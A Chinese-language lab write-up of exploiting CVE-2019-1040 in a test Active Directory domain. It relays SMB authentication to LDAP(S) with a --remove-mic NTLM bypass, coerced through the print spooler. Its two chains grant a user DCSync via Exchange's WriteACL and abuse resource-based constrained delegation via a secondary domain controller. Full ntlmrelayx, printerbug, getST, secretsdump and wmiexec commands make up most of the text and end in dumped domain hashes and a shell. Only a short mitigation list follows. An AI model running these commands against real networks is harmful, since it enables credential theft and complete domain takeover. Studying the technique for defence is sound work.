≧△≦
CVE-2019-1040可以让攻击者通过中间人攻击,将目标SMB身份验证通过LADP(S)中继到DC,由于NTLM协议的工作方式,无法将SMB直接通过LDAP进行中继,所以势必要绕过NTLM MIC验证(消息完整性检查),使得攻击者可能在仅有一个普通域账号的情况下拿到域内最高权限。
要点
1.CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷,攻击者可以利用该漏洞绕过NTLM MIC(消息完整性检查),修改NTLM身份验证流程中的签名要求,完全删除签名验证,而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志,并尝试中继到目标服务器。不强制执行签名的服务器都易受到攻击,通过这种攻击能使攻击者在仅有一个普通域账号的情况下可远程控制 Windows 域内的任何机器,包括域控服务器。
2.任何经过身份验证的域成员都可以连接到远程服务器的打印服务(spoolsv.exe),并请求对一个新的打印作业进行更新,令其将该通知发送给指定目标。之后它会将立即测试该连接,即向指定目标进行身份验证(攻击者可以选择通过Kerberos或NTLM进行验证)。由于打印机是以system权限运行的,printerbug.py调用RpcRemoteFindFirstPrinterChangeNotificationEx()对新的打印作业更新;又因为SYSTEM账户权限太高,如果用此账户对网络资源进行身份验证可能出现安全问题,所以迫使打印机服务向攻击者发起请求的是机器账户。
3.不能自己relay到自己,如果域内有多个域控可以尝试辅助域控触发打印机bug回连到攻击者,然后通过SMB relay 到LDAPS 在域控进行身份认证,域控不在Exchange Windows Permissions这个组里,所以不能像Exchange的机器账号那样写ACL赋予指定用户的Dcsync权限;但是可以创建机器账号并设定其对自己的基于资源的约束委派,拿到域管对本机host的ST,从而通过secretsdump来导出域哈希。
ps:为什么要用LADPS?因为域控不允许在未加密的链接中创建计算机用户,LADPS需要配置证书才能使用,在默认环境下不能工作。
4.每个域用户都可以添加10个域机器账号。
5.Exchange服务器在域中默认具有高权限,Exchange的机器账户会被加入Exchange Trusted Subsystem组里面,而Exchange Trusted Subsystem用户组又隶属于Exchange Windows Permissions。Exchange Windows Permissions这个组默认又对域有WriteACL权限。所以当拿下Exchange服务器后,可以使用WriteACL赋予指定域用户或机器用户DCSync的权限。

利用1-Exchange
产生过程
printerbug触发打印机bug,Exchange通过SMB认证将本地计算机账户回连至攻击者主机,使用ntlmrelayx绕过NTLM MIC,将SMB中继到LDAP进行身份验证,Exchange机器账号有WriteACL的权限,为攻击者指定的帐户授予DCSync,随后攻击者使用secretsdump导出域内哈希。
条件
1.任意一个域用户密码(产生SpoolService错误的唯一要求是任何经过身份验证的域内帐户)
2.存在exchange服务器
环境
域用户:hiro\win10 123456789qwe.
域控:WIN-KONG@192.168.228.10
Exchange:Exchange-01@192.168.228.99
攻击者:192.168.1.101
利用
使用ntlmrelayx.py进行NTLM中继攻击,在本机进行监听,将认证消息从SMB relay 到LDAP,并为指定用户win10赋予DCSync权限。
其中--remove-mic用于去除MIC标志,–escalate-user用于赋予指定用户DCSync权限。
python3 ntlmrelayx.py --remove-mic --escalate-user win10 -t ldap://win-kong.hiro.com -smb2support --delegate-access
触发SpoolService的bug,Exchange通过SMB认证回连到攻击者,认证用户为机器账号hiro\Exchange-01$
python3 printerbug.py hiro/win10:123456789qwe.@192.168.228.99 192.168.1.101
win10用户具有了Dcsync的权限,可以用来转储域内所有Hash。
python3 secretsdump.py hiro.com/win10:123456789qwe.@192.168.228.10 -just-dc-user administrator
利用2-基于资源的约束委派
产生过程
printerbug触发打印机bug,辅助域控通过SMB认证将本地计算机账户回连至攻击者主机。使用ntlmrelayx绕过NTLM MIC,将SMB中继到LDAPS进行身份验证,域控不在Exchange Windows Permissions这个组里,所以不能像Exchange的机器账号那样写ACL赋予指定用户的Dcsync权限;但是在域环境中每一个域用户都可以添加10个机器账户,所以可以利用手上的域用户创建机器账号,并设定其对自己的基于资源的约束委派,拿到域管对本机host的ST,从而通过secretsdump来导出域哈希。
条件
1.任意域用户账号密码(产生SpoolService错误的唯一要求是任何经过身份验证的域内帐户)
2.域内开启LDAPS(域控不允许在未加密的链接中创建计算机用户)
3.有辅助域控(不能relay到自身)
环境
域用户:hiro\win10 123456789qwe.
域控:WIN-KONG@192.168.228.10
辅助域控:WIN-K2@192.168.228.33
攻击者:192.168.1.101
利用
使用ntlmrelayx.py进行NTLM中继攻击,在本机进行监听,将认证消息从SMB relay 到LDAPS,并创建机器账户
python3 ntlmrelayx.py -t ldaps://win-kong.hiro.com --remove-mic --delegate-access -smb2support
触发SpoolService的bug,导致Exchange通过SMB认证回连到攻击者的ntlmrelayx.py上,认证用户为hiro\WIN-K2$
python3 printerbug.py hiro/win10:123456789qwe.@192.168.228.33 192.168.1.101
ntlmrelayx.py绕过NTLM MIC,通过SMB relay 到LADPS(中继到域控服务器(WIN-KONG)),因为辅助域控并不在Exchange Windows Permissions这个组里面,所以也写不了ACL,不能给指定用户添加Dcsync的权限;但是它能创建新的计算机账户,并且设置该机器账户对辅助域控自身的约束委派。

利用impacket套件攻击
约束委派生成管理员administrator对WIN-k2的ST票据
python3 getST.py -spn host/WIN-K2.hiro.com 'hiro.com/win10system$:win10' -impersonate administrator -dc-ip 192.168.228.10
导入票据
export KRB5CCNAME=administrator.ccache
利用secretsdump导出域哈希
python3 secretsdump.py -k -no-pass WIN-K2.hiro.com -just-dc
得到shell
python3 wmiexec.py -no-pass -k administrator@DESKTOP-P34E60A.hiro.com -dc-ip 192.168.228.10
缓解措施
1.利用到了SpoolService的bug,可以禁用SpoolService服务。
2.强制使用LDAPS来阻止NTLM relay到LDAP。
3.启用SMB 签名。
















